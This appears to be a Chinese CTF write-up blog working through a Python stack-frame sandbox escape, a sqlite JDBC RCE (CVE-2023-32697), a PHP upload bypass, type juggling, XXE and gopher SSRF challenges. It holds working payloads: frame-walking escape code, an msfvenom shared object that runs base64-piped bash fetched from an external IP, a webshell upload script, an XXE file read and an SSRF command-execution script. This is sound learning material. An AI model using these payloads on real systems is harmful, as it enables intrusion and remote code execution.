for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):
"""
Check the source in the bytecode aspect, no methods and globals should be load
:param code: source code
:return: None
"""

from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)


if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})


if __name__ == "__main__":
app.run("0.0.0.0", 5000)

main.py主要都是路径相关的,咱们主要看runner.py

source_simple_check 函数

检查源代码中是否存在非 ASCII 字符。

检查源代码是否包含某些敏感关键字(如 __getattrexit)。

block_wrapper 函数

通过 sys.audithook 实现运行时审计,拦截特定事件(如 marshalprocessossys 等)并立即退出。

source_opcode_checker 函数

使用 Python 的 dis 模块检查字节码中的敏感指令(如 LOAD_GLOBALIMPORT_NAMELOAD_METHOD)。

对某些特定的函数(如 randintrandrangeprint)做了豁免处理。

在main主程序中,使用受限的全局变量执行代码(如禁止访问 __builtins__,只允许使用特定函数)。

看前面就一堆过滤,过滤这过滤那,看到main程序,这我熟啊,沙箱逃逸,一个新知识点,*栈帧逃逸*

栈帧逃逸

基础知识

生成器

生成器(Generator)是 Python 中一种特殊的迭代器,生成器可以使用 yield 关键字来定义。

yield 用于产生一个值,并在保留当前状态的同时暂停函数的执行。当下一次调用生成器时,函数会从上次暂停的位置继续执行,直到遇到下一个 yield 语句或者函数结束

存在yield就是生成器最明显的标志,yield类似于return,区别在于yield其中好像有next函数,每执行一次yield,也就会从上一次结束的地方执行next,不像return直接返回一个数

生成器表达式

生成器表达式允许你使用简洁的语法来定义生成器,而不必显式地编写一个函数。

但是使用圆括号而不是方括号

1
2
3
4
a=(i+1 for i in range(100))
#next(a)
for value in a:
print(value)

生成器的属性

gi_code: 生成器对应的code对象。
gi_frame: 生成器对应的frame(栈帧)对象。
gi_running: 生成器函数是否在执行。生成器函数在yield以后、执行yield的下一行代码前处于frozen状态,此时这个属性的值为0。
gi_yieldfrom:如果生成器正在从另一个生成器中 yield 值,则为该生成器对象的引用;否则为 None。
gi_frame.f_locals:一个字典,包含生成器当前帧的本地变量。

gi_frame 是一个与生成器(generator)和协程(coroutine)相关的属性。它指向生成器或协程当前执行的帧对象(frame object),如果这个生成器或协程正在执行的话。帧对象表示代码执行的当前上下文,包含了局部变量、执行的字节码指令等信息

举例使用gi_frame获取当前帧的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

栈帧(frame)介绍

在 Python 中,栈帧(stack frame),也称为帧(frame),是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时,都会创建一个新的栈帧,用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈,称为调用栈。(跟c/c++中的栈类似,懂点逆向知识应该很好理解)

栈帧包含了以下几个重要的属性:
f_locals: 一个字典,包含了函数或方法的局部变量。键是变量名。
f_globals: 一个字典,包含了函数或方法所在模块的全局变量。
f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。
f_lasti: 整数,表示最后执行的字节码指令的索引。
f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧 !!!!!

利用栈帧(frame)逃逸沙箱

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals符号表,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
key = "this is flag"
codes='''
def waff():
def f():
yield g.gi_frame.f_back
g = f() #生成器
frame = next(g) #获取到生成器的栈帧对象
b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
return b
b=waff()
'''
locals={}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"]) # this is flag

codes创建了一个沙箱环境,但是key在沙箱外,通过frame.f_back.f_back.f_globals[‘key’]逃逸出来,获取到了key的值

L3HCTF2024{“builtins“: None}

1
exec(code,{"__builtins__": None},locals)

典型的栈帧逃逸

不能直接通过 next()函数去获取到栈帧,但可以通过for语句去获取

1
2
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
1
2
3
a=(a.gi_frame.f_back.f_back for i in [1])
a=[x for x in a][0]
globals=a.f_back.f_back.f_globals

中海洋 菜鸟工具2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from flask import *
import io
import time

app = Flask(__name__)
black_list = [
'__build_class__', '__debug__', '__doc__', '__import__',
'__loader__', '__name__', '__package__', '__spec__', 'SystemExit',
'breakpoint', 'compile', 'exit', 'memoryview', 'open', 'quit', 'input'
]
new_builtins = dict([
(key, val) for key, val in __builtins__.__dict__.items() if key not in black_list
])

flag = "flag{xxxxxx}"
flag = "DISPOSED"

@app.route("/")
def index():
return redirect("/static/index.html")

@app.post("/run")
def run():
out = io.StringIO()
script = str(request.form["script"])

def wrap_print(*args, **kwargs):
kwargs["file"] = out
print(*args, **kwargs)
new_builtins["print"] = wrap_print

try:
exec(script, {"__builtins__": new_builtins})
except Exception as e:
wrap_print(e)

ret = out.getvalue()
out.close()
return ret

time.sleep(5) # current source file is deleted
app.run('0.0.0.0', port=9001)

flag在源码中,但是源码被删除,没有 /proc目录

要获得被覆写的 flag 内容只剩一个地方可以找,就是依靠 python 解析自身进程的内存

cpython 的实现中暴露了获取 python 栈帧的方法

而每个栈帧都会保存当时的 py 字节码和记录自身上一层的栈帧

而对 flag 的赋值的字节码肯定存在于某个栈帧中,我们只需要从当前栈帧向上找就行了

利用 ctypes模块的指针,将flag地址周围的值读一下,实现一个从内存读源码

因为真正的flag在覆盖的flag之前,所以读到假的flag的地址后,往前读取即可

这里用了char 指针,读出来的是一个字符串

最细节的是每次位移8的倍数。(可以自行对比任意两个变量的地址,可以发现它们的差值都是8的倍数)

1
2
3
4
5
6
7
8
9
10
11
12
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]

b = a.f_back.f_globals
flag_id = id(b['flag']) #id()函数用于读取内存地址
ctypes = b["__builtins__"].__import__('ctypes')
#print(ctypes)

for i in range(10000):
txt = ctypes.cast((flag_id-8*i),ctypes.c_char_p).value
if b"flag" in txt:
print(txt)

使用的是非常普通的继承链获取globals对象,然后从线程上去找栈帧

而且flask 使用了多线程去处理每个请求,这导致直接在当前线程的栈帧向上找会找不到主线

程的 flag,需要从主线程栈帧向上找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sys = print.__globals__["__builtins__"].__import__('sys')
io = print.__globals__["__builtins__"].__import__('io')
dis = print.__globals__["__builtins__"].__import__('dis')
threading = print.__globals__["__builtins__"].__import__('threading')
print(threading.enumerate()) #获取所有活跃线程
print(threading.main_thread()) #获取主线程
print(threading.main_thread().ident) # 获取主线程标识符
print(sys._current_frames()) # 获取所有线程的堆栈帧对象
print(sys._current_frames()[threading.main_thread().ident]) #获取到主线程的堆栈帧对象


frame = sys._current_frames()[threading.main_thread().ident]

while frame is not None:
out = io.StringIO() # 内存创建字符串I/O流
dis.dis(frame.f_code,file=out) # 将当前堆栈帧所对应的函数的字节码进行反汇编
content = out.getvalue() #获取反汇编的结果
out.close()
print(content)
frame = frame.f_back

回到此题

打印出当前帧的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import json
payload = '''def my_generator():
yield 1
yield 2
yield 3

gen = my_generator()

frame = gen.gi_frame

print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)'''

data = {
"code": payload
}
print(json.dumps(data))

{"result":"Local Variables: {}\nGlobal Variables: {'__builtins__': None, 'randint': <bound method Random.randint of <random.Random object at 0x556d0dee3160>>, 'randrange': <bound method Random.randrange of <random.Random object at 0x556d0dee3160>>, 'seed': <bound method Random.seed of <random.Random object at 0x556d0dee3160>>, 'print': <built-in function print>, 'my_generator': <function my_generator at 0x7f52f86a02c0>, 'gen': <generator object my_generator at 0x7f52f8792cf0>, 'frame': <frame at 0x7f52f87963b0, file '<sandbox>', line 1, code my_generator>}\nCode Object: <code object my_generator at 0x7f52f85de250, file \"<sandbox>\", line 1>\nInstruction Pointer: 0\n\n\n"}

获取global符号表

1
2
3
4
5
6
7
8
9
10
11
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back)
waff()

{"result":"<frame at 0x7f15a02e2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f15a02bd0c0, file '<sandbox>', line 8, code waff>\n\n\n"}

继续向上找builtins模块

1
2
3
4
5
6
7
8
9
10
11
12
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
waff()

向上3次找到
{"result":"<frame at 0x7f750291acf0, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f7502765b60, file '/app/uploads/eb2153f0-b85f-11ef-a644-0242ac0cbbf7.py', line 84, code <module>>\n\n\n"}

重新定义global下builtins

1
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']

利用f_code打印出其中的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir=gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))
waff()

调用builtins模块中的dir打印出
{"result":"<frame at 0x7f1d3bff2c40, file '<sandbox>', line 6, code <listcomp>>\n<frame at 0x7f1d3be41b60, file '/app/uploads/7be1d35a-b861-11ef-bbf9-0242ac0cbbf7.py', line 84, code <module>>\n['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getstate__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_co_code_adaptive', '_varname_from_oparg', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_exceptiontable', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lines', 'co_linetable', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_positions', 'co_posonlyargcount', 'co_qualname', 'co_stacksize', 'co_varnames', 'replace']\n\n\n"}

打印不出来flag,前面了解到可以用for循环打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir = gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))

for i in gattr1.co_consts:
print(i)
waff()

检测到了THIS_IS_SEED

image-20241212162310041

换个形式输出,转str

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def waff():
def f():
yield g.gi_frame.f_back

g = f()
frame = [x for x in g][0]
print(frame)
print(frame.f_back.f_back.f_back)
gattr = frame.f_back.f_back.f_back.f_globals['_''_bui''ltins_''_']
dir = gattr.dir
gattr1 = frame.f_back.f_back.f_back.f_code
print(dir(gattr1))
str=gattr.str
for i in str(gattr1.co_consts):
print(i)
waff()

后面替换掉\n就可看到flag

image-20241212162717545

深深学习到了

借鉴链接:https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#python%E5%88%A9%E7%94%A8%E6%A0%88%E5%B8%A7%E8%BF%9B%E8%A1%8C%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8

https://www.cnblogs.com/F12-blog/p/18208215

CISCN2024 ezjava

JDBC打Sqlite CVE-2023-32697——sqlite jdbc RCE

主要在DatasourceServiceimpl.class里的testDatasourceConnectionAble,里面有三个sql的测试连接方法

image-20241212214036251

看第三种

2746479-20240523113959376-40327567

来自F12师傅:

通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

msf生成恶意so文件

1
msfvenom -p linux/x64/exec CMD='echo YmFzaCA |base64 -d |bash ' -f elf-so -o exp.so 

上传到服务器启动文件服务

用下列代码算出文件的hashcode

1
2
3
4
5
6
7
8
9
10
11
package com.example.jdbctest.exp;
import java.net.MalformedURLException;
import java.net.URL;

public class filename {
public static void main(String[] args) throws MalformedURLException {
String so = "http://140.143.143.130:8080/exp.so";
String url = so;
String filename = "/tmp/sqlite-jdbc-tmp-"+new
URL(url).hashCode()+".db";System.out.printf(filename);}
}

比如我的是

image-20241212213208817

利用恶意的db文件https://github.com/su18/JDBC-Attack/blob/main/sqlite-attack/src/main/resources/poc.db

需要修改一下

利用navicat修改即可

image-20241212213611817

之后也上传至服务器

启动监听

1
2
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/exp.so"}
{"type":3, "url":"jdbc:sqlite::resource:http://ip:port/poc.db", "tableName":"security"}

依次运行,等待反弹shell即可

image-20241212213731393

记2025.3.16 ciscn&长城杯线下赛前

[GHCTF 2024 新生赛]PermissionDenied

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php

function blacklist($file){
$deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
$ext = pathinfo($file, PATHINFO_EXTENSION);
foreach ($deny_ext as $value) {
if (stristr($ext, $value)){
return false;
}
}
return true;
}
if(isset($_FILES['file'])){
$filename = urldecode($_FILES['file']['name']);
$filecontent = file_get_contents($_FILES['file']['tmp_name']);
if(blacklist($filename)){
file_put_contents($filename, $filecontent);
echo "Success!!!";
} else {
echo "Hacker!!!";
}
} else{
highlight_file(__FILE__);
}

审计源码一个文件上传功能的源码,加了点过滤,最主要的点在pathinfo这个函数

1
pathinfo(string $path, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME): mixed

image-20250309141609200

该函数包含4个模块,分别可以打印dirname、basename、extension、filename,主要功能就是用于返回文件的文件路径的信息,包括目录路径、文件名、扩展名等

image-20250309142052666

  • pathinfo 是本地化的,所以为了正确解析包含多字节字符的路径,必须使用 setlocale() 函数来设置匹配的区域设置。
  • 如果路径有多个扩展名,PATHINFO_EXTENSION 只返回最后一个扩展名,而 PATHINFO_FILENAME 只剥离最后一个扩展名。
  • 如shell.php/.只返回.则匹配不到php

即可绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://node5.anna.nssctf.cn:25658/"

php_file = (
"shell.php%2f.",
"<?php `$_GET[a]`; ?>",
)

response = requests.post(
url,
files={"file": php_file}
)
print(response.text)

蚁剑链接发现disable_function

插件绕过

1
find / -user root -perm -4000 -print 2>/dev/null
1
/usr/local/s3cRetTt

image-20250309142811133

[HNCTF 2022 WEEK3]Fun_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
 <?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
$user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
if (!ctype_alpha($getmySaid))
die();
if (!is_numeric($getmyHeart))
die();
if(md5($getmySaid) != md5($getmyHeart)){
die("Cheater!");
}
else
$week_1 = true;
}

if(is_array($data)){
for($i=0;$i<count($data);$i++){

if($data[$i]==="Probius") exit();

$data[$i]=intval($data[$i]);
}
if(array_search("Probius",$data)===0)
$week_2 = true;

else
die("HACK!");
}
if($week_1 && $week_2){
if(md5($data)===md5($verify))
// ‮⁦HNCTF⁩⁦Welcome to
if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
die("HACK!");

else{
echo "Fine!you win";
system("cat ./$want");
}
}
else
die("HACK!");
}

?> Welcom T0 1he HNCTF2022
HINT? NoWay~!
Fine!you win

http://node5.anna.nssctf.cn:27374/?user=114514&mySaid=QNKCDZO&myHeart=240610708&
hn=hn&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%63%74%66=%E2%80%AE%E2%81%A6%2B%21%21%E2%81%A9%E2%81%A6%26%20%22%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66
hn=hn&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%63%74%66=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66


data[0]=probius&verify[]=0&want=fl*

GHCTF 2025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask,request
import base64
from lxml import etree
import re
app = Flask(__name__)

@app.route('/')
def index():
return open(__file__).read()


@app.route('/ghctf',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "No System is Safe."
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None



if __name__=="__main__":
app.run(host='0.0.0.0',port=8080)

很明显的xxe

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<name>&xxe;</name>
</root>

编个码

1
%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+root+%5B%0D%0A++++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fflag%22%3E%0D%0A%5D%3E%0D%0A%3Croot%3E%0D%0A++++%3Cname%3E%26xxe%3B%3C%2Fname%3E%0D%0A%3C%2Froot%3E

[GHCTF 2025]Goph3rrr

访问app.py下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
@app.route('/Gopher')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided :)"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "No (≧∇≦)"
result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
return result.stdout

@app.route('/RRegister', methods=['GET', 'POST'])
def register():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
return b64e("Username already exists!")
users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}
return b64e("Registration successful!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Register</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #28a745;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-success {
background-color: #28a745;
border: none;
}
.btn-success:hover {
background-color: #218838;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Register</h3>
</div>
<div class="card-body">
<form method="POST">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">Password</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<button type="submit" class="btn btn-success w-100">Register</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")

@app.route('/Manage', methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden!!!"
if request.method == "GET":
return "Allowed!!!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()

@app.route('/Upload', methods=['GET', 'POST'])
def upload_avatar():
junk_code()
if request.method == 'POST':
username = request.form.get('username')
if username not in users:
return b64e("User not found!")
file = request.files.get('avatar')
if file:
file.save(os.path.join(avatar_dir, f"{username}.png"))
return b64e("Avatar uploaded successfully!")
return b64e("No file uploaded!")
return render_template_string("""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Upload Avatar</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 400px;
margin-top: 100px;
}
.card {
border: none;
border-radius: 10px;
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}
.card-header {
background-color: #dc3545;
color: white;
text-align: center;
border-radius: 10px 10px 0 0;
}
.btn-danger {
background-color: #dc3545;
border: none;
}
.btn-danger:hover {
background-color: #c82333;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h3>Upload Avatar</h3>
</div>
<div class="card-body">
<form method="POST" enctype="multipart/form-data">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" required>
</div>
<div class="mb-3">
<label for="avatar" class="form-label">Avatar</label>
<input type="file" class="form-control" id="avatar" name="avatar" required>
</div>
<button type="submit" class="btn btn-danger w-100">Upload</button>
</form>
</div>
</div>
</div>
</body>
</html>
""")


@app.route('/app.py')
def download_source():
return send_file(__file__, as_attachment=True)

结合文件名看样子是gopher跳转到manage去执行命令了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import urllib.parse


payload=\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8080/'+'_'+new
result = urllib.parse.quote(result)
print(result)

[GHCTF 2025]Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
 <?php
highlight_file(__FILE__);

class ConfigLoader {
private $config;

public function __construct() {
$this->config = [
'debug' => true,
'mode' => 'production',
'log_level' => 'info',
'max_input_length' => 100,
'min_password_length' => 8,
'allowed_actions' => ['run', 'debug', 'generate']
];
}

public function get($key) {
return $this->config[$key] ?? null;
}
}

class Logger {
private $logLevel;

public function __construct($logLevel) {
$this->logLevel = $logLevel;
}

public function log($message, $level = 'info') {
if ($level === $this->logLevel) {
echo "[LOG] $message\n";
}
}
}

class UserManager {
private $users = [];
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function addUser($username, $password) {
if (strlen($username) < 5) {
return "Username must be at least 5 characters";
}

if (strlen($password) < 8) {
return "Password must be at least 8 characters";
}

$this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
$this->logger->log("User $username added");
return "User $username added";
}

public function authenticate($username, $password) {
if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
$this->logger->log("User $username authenticated");
return "User $username authenticated";
}
return "Authentication failed";
}
}

class StringUtils {
public static function sanitize($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

public static function generateRandomString($length = 10) {
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
}

class InputValidator {
private $maxLength;

public function __construct($maxLength) {
$this->maxLength = $maxLength;
}

public function validate($input) {
if (strlen($input) > $this->maxLength) {
return "Input exceeds maximum length of {$this->maxLength} characters";
}
return true;
}
}

class CommandExecutor {
private $logger;

public function __construct($logger) {
$this->logger = $logger;
}

public function execute($input) {
if (strpos($input, ' ') !== false) {
$this->logger->log("Invalid input: space detected");
die('No spaces allowed');
}

@exec($input, $output);
$this->logger->log("Result: $input");
return implode("\n", $output);
}
}

